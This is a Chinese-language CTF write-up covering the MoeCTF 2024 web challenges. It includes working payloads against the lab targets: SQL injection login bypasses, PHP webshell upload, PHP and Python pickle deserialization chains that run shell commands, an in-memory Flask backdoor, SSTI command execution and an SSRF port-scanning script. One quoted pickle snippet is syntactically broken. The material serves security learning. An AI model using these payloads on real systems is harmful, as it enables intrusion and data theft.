目录

MoeCTF 2024 wp

# Web渗透测试与审计入门指北

下载题目附件,一份web新手入门指北,根据pdf指引,再下载另一个附件,本地下载phpstudy,搭个web网站访问首页就给flag

# 弗拉格之地的入口

打开题目提示有一种生物,名为爬虫,它能带领各位找到那里,一个web基础,robots.txt爬虫协议,新手可以看如何使用robots.txt及其详解 (opens new window)

在robots.txt中会放一些敏感目录,避免搜索引擎爬虫访问这些内容,一些情况下,变成了引路人

1

访问robots.txt的敏感文件,拿到flag

2

# 垫刀之路01: MoeCTF?启动!

题目送了一个shell,如果能学习一点linux,挺好做的,基础的命令要会

ls /查看根目录下文件,一个flag文件,cat /flag查看flag内容,flag内容不再这里哦。 你可以检查一下环境变量这个东西

env命令查看环境变量

3

# ez_http

关于http报文字段相关用hackbar比较方便

需要post方法访问,post随便传一个a=1,提示post传imoau=sb,把a=1换成imoau=sb

提示要GET传参xt=大帅b,在url后面加上?xt=大帅b

提示来源必须是https://www.xidian.edu.cn/,在hackbar右侧添加referer字段,值是https://www.xidian.edu.cn/

提示cookie:user=admin,在hackbar右侧添加cookie字段,值是user=admin

提示使用MoeDedicatedBrowser浏览器,在hackbar右侧添加user-agent字段,值是MoeDedicatedBrowser

提示只能本地访问,伪造ip有很多字段,这里用x-forwarded-for字段,值是127.0.0.1

4

# ProveYourLove

题目主要js部分,会限制只能提交一份表白

点击查看
<script>
        document.addEventListener('DOMContentLoaded', function() {
            // 获取当前表白份数
            fetch('/confession_count')
                .then(response => response.json())
                .then(data => {
                    document.getElementById('confessionCount').textContent = data.count;
                    document.getElementById('flag').textContent = data.flag;
                    document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
                })
                .catch(error => {
                    console.error('Error:', error);
                });
        });

        document.getElementById('confessionForm').addEventListener('submit', function(event) {
            event.preventDefault(); // 阻止表单的默认提交行为

            // 检查设备是否已提交过表白
            if (localStorage.getItem('confessionSubmitted')) {
                alert('您已经提交过表白,不能重复提交。');
                return;
            }

            // 发起 OPTIONS 请求
            fetch('/questionnaire', {
                method: 'OPTIONS'
            })
            .then(response => {
                if (!response.ok) {
                    throw new Error('OPTIONS 请求失败');
                }

                // 获取表单数据
                const formData = new FormData(event.target);
                const data = {};
                formData.forEach((value, key) => {
                    data[key] = value;
                });

                // 提交表白数据
                return fetch('/questionnaire', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(data)
                });
            })
            .then(response => response.json())
            .then(result => {
                if (result.success) {
                    alert('表白提交成功!');
                    localStorage.setItem('confessionSubmitted', 'true');

                    // 更新表白份数
                    fetch('/confession_count')
                        .then(response => response.json())
                        .then(data => {
                            document.getElementById('confessionCount').textContent = data.count;
                            document.getElementById('flag').textContent = data.flag;
                            document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
                        })
                        .catch(error => {
                            console.error('Error:', error);
                        });
                } else {
                    alert('表白提交失败,请稍后重试。');
                }
            })
            .catch(error => {
                console.error('Error:', error);
            });
        });
    </script>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

在控制台重写一下这个js,去掉重复提交的判断,补充个循环,让他直接发300份。填好信息,点击提交就可以发300份了,要稍等一会才能发完

点击查看
document.addEventListener('DOMContentLoaded', function() {
            // 获取当前表白份数
            fetch('/confession_count')
                .then(response => response.json())
                .then(data => {
                    document.getElementById('confessionCount').textContent = data.count;
                    document.getElementById('flag').textContent = data.flag;
                    document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
                })
                .catch(error => {
                    console.error('Error:', error);
                });
        });

        document.getElementById('confessionForm').addEventListener('submit', function(event) {
            event.preventDefault(); // 阻止表单的默认提交行为

            for(let n=0;n<301;n++) {
                // 发起 OPTIONS 请求
                fetch('/questionnaire', {
                    method: 'OPTIONS'
                })
                    .then(response => {
                        if (!response.ok) {
                            throw new Error('OPTIONS 请求失败');
                        }

                        // 获取表单数据
                        const formData = new FormData(event.target);
                        const data = {};
                        formData.forEach((value, key) => {
                            data[key] = value;
                        });

                        // 提交表白数据
                        return fetch('/questionnaire', {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json'
                            },
                            body: JSON.stringify(data)
                        });
                    })
                    .then(response => response.json())
                    .then(result => {
                        if (result.success) {
                            // alert('表白提交成功!');
                            localStorage.setItem('confessionSubmitted', 'true');

                            // 更新表白份数
                            fetch('/confession_count')
                                .then(response => response.json())
                                .then(data => {
                                    document.getElementById('confessionCount').textContent = data.count;
                                    document.getElementById('flag').textContent = data.flag;
                                    document.getElementById('Qixi_flag').textContent = data.Qixi_flag;
                                })
                                .catch(error => {
                                    console.error('Error:', error);
                                });
                        } else {
                            alert('表白提交失败,请稍后重试。');
                        }
                    })
                    .catch(error => {
                        console.error('Error:', error);
                    });
            }});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

5

# 弗拉格之地的挑战

查看源码,拿到flag第一部分bW9lY3Rm,和第二题flag2hh.php

到题目第二关flag2hh.php,什么信息都没有,本地抓包抓不到,用bp自带的浏览器页面,在响应信息里可以看到第二段flage0FmdEV,以及第三关/flag3cad.php

6

第三关,可以在cookie里找到verify:user的键值对,在hackbar里改成verify:admin,拿flag第三部分yX3RoMXN,以及第四关/flag4bbc.php

7

第四关,提示不是从http://localhost:8080/flag3cad.php?a=1过来的,伪造一下来源,跳到另一个页面,f12大法,修改html源码,在控制台拿下第四一段flagfdFVUMHJ,以及第五关/flag5sxr.php

8

第五关,要求提交I want flag,点击提交,有个碍事的js函数拦截了,在控制台重写这个函数,把他写成空,拿到第五段flagfSV90aDF

9

第六关,同时提交get,post变量moe,第一个正则要求不能匹配到小写flag,第二个正则不区分大小写的匹配flag,所以可以传个大写FLAG,拿到第六段flagrZV9VX2t

10

第七关,给了一个shell,在根目录下找到第七段flagrbm93X1dlQn0=

最后,把七段flag拼在一起,base64解码得到最后的flag

11

# ImageCloud前置

分析题目部分源码,还以为是include文件包含读取/etc/passwd

<?php
$url = $_GET['url'];
$ch = curl_init();
$res = curl_exec($ch);
?>
1
2
3
4
5

curl_exec函数不能直接访问本地文件,用一个file://协议读/etc/passwd

12

# 垫刀之路02: 普通的文件上传

没有过滤,上传php木马,查看环境变量

13

# 垫刀之路03: 这是一个图床

php木马扩展名改成图片类型上传,bp抓包改回php。对了抓包可能要用bp自带的浏览器,不然可能抓不到本地的请求

14

# 垫刀之路05: 登陆网站

万能密码username=admin123'or 1='1&password=1,存在sql注入漏洞

sql语句没有过滤,直接拼接'or 1=1#登录就可以

15

# 垫刀之路06: pop base mini moe

在B类的__invoke()方法里,存在动态函数调用$s($c);

本地调试一下,可以执行命令

<?php
$a = 'system';
$b = 'time';
# The current time is:  0:56:34.09
$a($b);
?>
1
2
3
4
5
6

把属性改成public生成payload,手动修改private属性的修饰符%00,以及private属性的长度

<?php

class A {
    public $evil;
    public $a;
}

class B {
    public $b;
}
$payload = new A();
$payload -> a = new B();
$payload -> evil = "cat /flag";
$payload -> a -> b = "system";
echo serialize($payload);
# ?data=O:1:%22A%22:2:{s:7:%22%00A%00evil%22;s:3:%22env%22;s:4:%22%00A%00a%22;O:1:%22B%22:1:{s:4:%22%00B%00b%22;s:6:%22system%22;}}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

16

# 垫刀之路07: 泄漏的密码

第一次遇到白给的flask pin码,爱了爱了。拿pin码到/console路由的控制台直接拿python shell

点击查看
[console ready]
>>> import os
>>> os.popen('cat /flag').read()
'远在天边,近在眼前啊'
>>> os.popen('env').read()
'KUBERNETES_SERVICE_PORT=443\nKUBERNETES_PORT=tcp://10.43.0.1:443\nHOSTNAME=ret2shell-119-11100\nPYTHON_PIP_VERSION=23.0.1\nSHLVL=2\nHOME=/root\nGPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D\nWERKZEUG_SERVER_FD=4\nPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/66d8a0f637083e2c3ddffc0cb1e65ce126afb856/public/get-pip.py\nWERKZEUG_RUN_MAIN=true\nKUBERNETES_PORT_443_TCP_ADDR=10.43.0.1\nPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nKUBERNETES_PORT_443_TCP_PORT=443\nKUBERNETES_PORT_443_TCP_PROTO=tcp\nLANG=C.UTF-8\nPYTHON_VERSION=3.10.14\nPYTHON_SETUPTOOLS_VERSION=65.5.1\nKUBERNETES_SERVICE_PORT_HTTPS=443\nKUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443\nKUBERNETES_SERVICE_HOST=10.43.0.1\nPWD=/app\nPYTHON_GET_PIP_SHA256=6fb7b781206356f45ad79efbb19322caa6c2a5ad39092d0d44d0fec94117e118\nFLAG=fake_flag\n'  
>>> os.popen('ls /').read();
'app\nbin\ndev\netc\nflag\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'  
>>> os.popen('ls').read();
'__pycache__\napp.py\nflag\ngetPIN.py\nstatic\ntemplates\n'
>>> os.popen('cat *').read();
'import os\n\nfrom flask import Flask, render_template, request, session\nfrom getPIN import get_pin\n\napp = Flask(__name__)\napp.secret_key = os.urandom(24)\npin = get_pin()\n\n\n\n@app.route(\'/\')\ndef index():\n    return render_template(\'index.html\', pin=pin)\n\n\nif __name__ == "__main__":\n    app.run(debug=True, host=\'0.0.0.0\', port=80)\n    # print(get_pin())\nmoectf{DonT-UslNG-fI4Sk-bY-d3buG_MoD_And_le@K_Y0Ur_PiN11}import hashlib\nfrom itertools import chain\nimport uuid\ndef get_pin():\n    probably_public_bits = [\n        # \'ctf\'# username  /proc/self/environ\n        \'root\',\n        \'flask.app\',# modname\n        \'Flask\',# getattr(app, \'__name__\', getattr(app.__class__, \'__name__\'))\n        # \'/usr/local/lib/python3.9/site-packages/flask/app.py\' # getattr(mod, \'__file__\', None),\n        \'/usr/local/lib/python3.10/site-packages/flask/app.py\' # getattr(mod, \'__file__\', None),\n    ]\n    uuid1 = str(uuid.getnode())\n    linux = b""\n\n    # machine-id is stable across boots, boot_id is not.\n    for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":\n        try:\n            with open(filename, "rb") as f:\n                value = f.readline().strip()\n        except OSError:\n            continue\n\n        if value:\n            linux += value\n            break\n\n    # Containers share the same machine id, add some cgroup\n    # information. This is used outside containers too but should be\n    # relatively stable across boots.\n    try:\n        with open("/proc/self/cgroup", "rb") as f:\n            linux += f.readline().strip().rpartition(b"/")[2]\n    except OSError:\n        pass\n    linux = linux.decode(\'utf-8\')\n    private_bits = [\n        uuid1,\n        linux,\n    ]\n    h = hashlib.sha1()\n    for bit in chain(probably_public_bits, private_bits):\n        if not bit:\n            continue\n        if isinstance(bit, str):\n            bit = bit.encode("utf-8")\n        h.update(bit)\n    h.update(b"cookiesalt")\n\n    cookie_name = f"__wzd{h.hexdigest()[:20]}"\n\n    num = None\n    if num is None:\n        h.update(b"pinsalt")\n        num = f"{int(h.hexdigest(), 16):09d}"[:9]\n\n    rv=None\n    if rv is None:\n        for group_size in 5, 4, 3:\n            if len(num) % group_size == 0:\n                rv = "-".join(\n                    num[x : x + group_size].rjust(group_size, "0")\n                    for x in range(0, len(num), group_size)\n                )\n                break\n        else:\n            rv = num\n\n    return rv\n'  
>>> 
1
2
3
4
5
6
7
8
9
10
11
12
13

# 垫刀之路04: 一个文件浏览器

这题太有意思了。在首页的readme和src目录下的readme文件提示这些文件夹没有用,另外一个txt文件没有flag,那么明显flag不在我们现在看到的首页文件夹里。这题考察了一个目录穿越问题,不允许你直接访问/根目录,访问根目录就是访问当前目录,所以需要通过目录穿越来访问根目录

最后可以在/tmp/flag找到flag

17

# 静态网页

bp自带浏览器抓包,查看每一个数据包时,在/api/get/?id=1-53里拿到了flag:php文件,进入php文件

18

19

md5的结果是字符串,post传参也是字符串,把$a的值作为$b的索引,把$a的md5值给$b就可以满足条件了。这一题很巧妙,通过精心构造,可以拿到payload

?a=0a

b[0a]=e99bb33727d338314912e86fbdec87af

20

这道题加深了数组的理解,太强了!

# 电院_backend

robots.txt里有敏感目录/admin/路由,访问是一个登录页面。看题目附件源码和题目js,verify.php页面会生成一个验证码,js会提交email,password,verify_code这样数据到/admin/login.php

通过审计源码,可以发现存在sql注入漏洞。这个正则会尝试检查email变量里是否含有一个邮箱的格式,或者是否存在or

这个正则有点漏洞,只要email变量里可以匹配到邮箱格式,不含有or,那么这个正则就绕过去了

  $email = $_POST['email'];
    if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
        echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
        unset($_SESSION['captcha_code']);
        exit;
    }
1
2
3
4
5
6

在后一部分中有flag的处理逻辑,只要查询结果不为0,就会爆flag。管理员邮箱我们不知道,那就使用联合查询,查点其他内容

email=admin@qq.com'union select *from admin#&password=11&verify_code=d2a4

    if($row){
        $_SESSION['admin_id'] = $row['id'];
        $_SESSION['admin_email'] = $row['email'];
        echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
    } 
1
2
3
4
5

21

# pop moe

简单的链子,思路

通过反序列化后自动触发的方法class000:__destruct作为开始,__destruct调用check方法,把属性$this-what赋值给$a,作为函数名调用了,可以把$this-what赋值为class001的对象,把对象当函数调用触发class001:__invoke方法

invoke方法里,把$this->payl10ad赋值给$this->a->payload,如果$this->a是一个class002的对象,就会因为不存在$payload属性触发class002:__get方法

参数$this->a->payload$this->pay10ad传给set方法,这样class002类会添加这个属性,如果这个属性值是dangerous,下面动态调用函数$this->$b($this->sec);

$this->sec赋值为class003类的对象,既可以因为dangerous方法把他当字符串,触发__tostring方法,$this->mystr作为字符串返回,也可以为后面触发evvval方法做铺垫,执行$this->mystr的值

先改public打出payload,再手动添加权限修饰符

exp

$payload = new class000();
$payload -> pay10ad = 1;
$payload -> what = new class001();
$payload -> what -> payl0ad = "dangerous";
$payload -> what -> a = new class002();
$payload -> what -> a -> sec = new class003();
$payload -> what -> a -> sec -> mystr = "system('env');";
echo serialize($payload);
# O:8:"class000":3:{s:17:"%00class000%00payl0ad";i:1;s:7:"%00*%00what";O:8:"class001":2:{s:7:"payl0ad";s:9:"dangerous";s:1:"a";O:8:"class002":1:{s:13:"%00class002%00sec";O:8:"class003":1:{s:5:"mystr";s:14:"system('env');";}}}s:7:"pay10ad";i:1;}
1
2
3
4
5
6
7
8
9

# 勇闯铜人阵

看题目的图片,数字对应的方向,写一个python脚本,用正则匹配给出的数字,构造payload,提交

import re
import time
import requests

url = "http://127.0.0.1:51723/"

data = {
    "player":"1",
    "direct":"弟子明白"
}
s = requests.session()
resp = s.post(url,data=data)
direct_dict = {
    "1":"北方",
    "2":"东北方",
    "3":"东方",
    "4":"东南方",
    "5":"南方",
    "6":"西南方",
    "7":"西方",
    "8":"西北方"
}

for n in range(5):
    # 使用正则表达式匹配<h1>标签中的数字
    pattern = r'<h1 id="status">\s*(\d)(?:,\s*(\d+))?\s*</h1>'
    matches = re.findall(pattern, resp.text)
    num = []
    for match in matches:
        num.append(int(match[0]))
        if match[1]:
            num.append(int(match[1]))
    print(num)

    payload = ''
    if len(num) == 1:
       payload = direct_dict[f"{num[0]}"]
       print(payload)
    elif len(num) == 2:
        payload = direct_dict[f"{num[0]}"] + "一个," + direct_dict[f"{num[1]}"] + "一个"
        print(payload)
    data = {
    "player":'1',
    "direct":payload,
    }
    resp = s.post(url,data=data)
    print(resp.text)
    time.sleep(0.1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

22

# who's blog?

在首页通过get传参id,可以发现存在ssti模板注入,好像没有过滤,一路直接打过去了

?id={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['popen']('env').read()}}

23

# ImageCloud

这个题太有意思了,第一次这样审计python源码

在题目中,点明了跑了两个服务,一个内部云,一个外部云。那么我们能看到的无疑就是外部云了,通过url的请求确定是app.py文件的源码 ,所以app2.py就是内部云的源码

主要区别:

内部云app2.py,通过/image/<filename>路由,访问uploads/目录下的filename文件

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    if os.path.exists(filepath):
        mime = get_mimetype(filepath)
        return send_file(filepath, mimetype=mime)
    else:
        return '文件未找到', 404
1
2
3
4
5
6
7
8

外部云app.py,通过get参数url访问static目录下的文件,我们上传的图片也只能通过外部云访问,如果能通过ssrf找到内部云端口,可以利用外部云调用内部云/image/<filename>接口访问uploads/flag.jpg

@app.route('/image', methods=['GET'])
def load_image():
    url = request.args.get('url')
    if not url:
        return 'URL 参数缺失', 400

    try:
        response = requests.get(url)
        response.raise_for_status()
        img = Image.open(BytesIO(response.content))

        img_io = BytesIO()
        img.save(img_io, img.format)
        img_io.seek(0)
        return send_file(img_io, mimetype=img.get_format_mimetype())
    except Exception as e:
        return f"无法加载图片: {str(e)}", 400
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

关键部分,这里可以看到,端口随机开的。怀着愧疚之心狠狠的爆破了一下,因为内部外部云在同一目录,所以利用外部云的url访问内部云

通过回显不同,发现内部云跑在了5043端口

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    port = find_free_port_in_range(5001, 6000)
    app.run(host='0.0.0.0', port=port)
1
2
3
4
5

简单爆破脚本,内部云的路径是随便写的,能返回无法加载图片: 404 Client Error: NOT FOUND for url: http://localhost:5122/uploads/flag无法加载图片: HTTPConnectionPool(host='localhost', port=5432): Max retries exceeded with url: /uploads/flag.jpg (Caused by NewConnectionError(': Failed to establish a new connection: [Errno 111] Connection refused'))或者静态目录下存在的文件,可以确定端口, 回显可以区别开就行

import time
import requests


for i in range(5000,6000):
    url = f"http://127.0.0.1:60084/image?url=http://localhost:{i}/static/0_11.png"
    resp = requests.get(url)
    print(resp.text)
    time.sleep(0.1)
1
2
3
4
5
6
7
8
9

24

25

# PetStore

太强了太强了!!做起来太爽了,强烈强烈强烈强烈建议这题拿到附件在本地跑一下,用pycharm打断点,看看反序列化哪里问题,不然根本看不出来。

讲一下官方做法,通过反序列化执行命令,直接命令执行利用store.create_pet()方法,把命令执行的结果作为pet对象的参数传进去了

import pickle
import base64


class A():
    def __reduce__(self):
        return exec(,("import os;store.create_pet(os.popen('ls').read(),'flag')"))

pet = A()
serialized_pet = pickle.dumps(pet)
print(serialized_pet)
1
2
3
4
5
6
7
8
9
10
11

下面讲讲我的思路,因为没有想到通过执行命令把结果作为参数来创建对象,所以我的测试过程没有回显,思路有点偏,注册动态路由打了一个内存马。

审计源码,发现反序列化漏洞,通过本地重写__reduce__方法,构造payload,打过去

漏洞部分pet = pickle.loads(pet_data)

    def import_pet(self, serialized_pet) -> bool:
        try:
            pet_data = base64.b64decode(serialized_pet)
            pet = pickle.loads(pet_data)

            if isinstance(pet, Pet):
                for i in self.pets:
                    if i.uuid == pet.uuid:
                        return False
                self.pets.append(pet)
                return True
            return False
        except Exception as e:
            print(e)
            return False
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

因为提交反序列化的payload后,服务器返回{"error":"Failed to import pet"},一直不成功,折腾了一会老实了,拿到pycharm本地调试,发现题目确实反序列化了,只是反序列化的结果是eval导入的popen函数,不再是要求的对象,所以报错,不过没关系,提交的payload他都执行了,只是没有回显

26

断点调试找到问题,可以看到,反序列化后,pet是一个函数对象,已经执行了命令,由于不再是Pet对象,所以抛出异常返回false,最后页面打印了{"error": "Failed to import pet"},所以说,这里反序列化命令执行是成功的,只是没有回显

27

考虑到题目环境没有导入os库,使用eval函数动态导入一下。因为题目不能出网,又没有回显,翻了很多文章,找到gxngxngxn师傅一篇关于注册动态路由、内存马的文章新版FLASK下python内存马的研究 (opens new window)

exp

import pickle
import base64
import uuid


class A():
    def __reduce__(self):
        # 生成内存马,get参数cola
        return (eval, (
        "__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cola')).read())",))

pet = A()
serialized_pet = pickle.dumps(pet)
print(serialized_pet)
# gASVwwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIynX19pbXBvcnRfXygic3lzIikubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSA6X19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdjb2xhJykpLnJlYWQoKSmUhZRSlC4=
print(base64.b64encode(serialized_pet))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

最后url/import?cola=env拿到flag

28

最后一次更新于: 2024/10/15, 23:35:58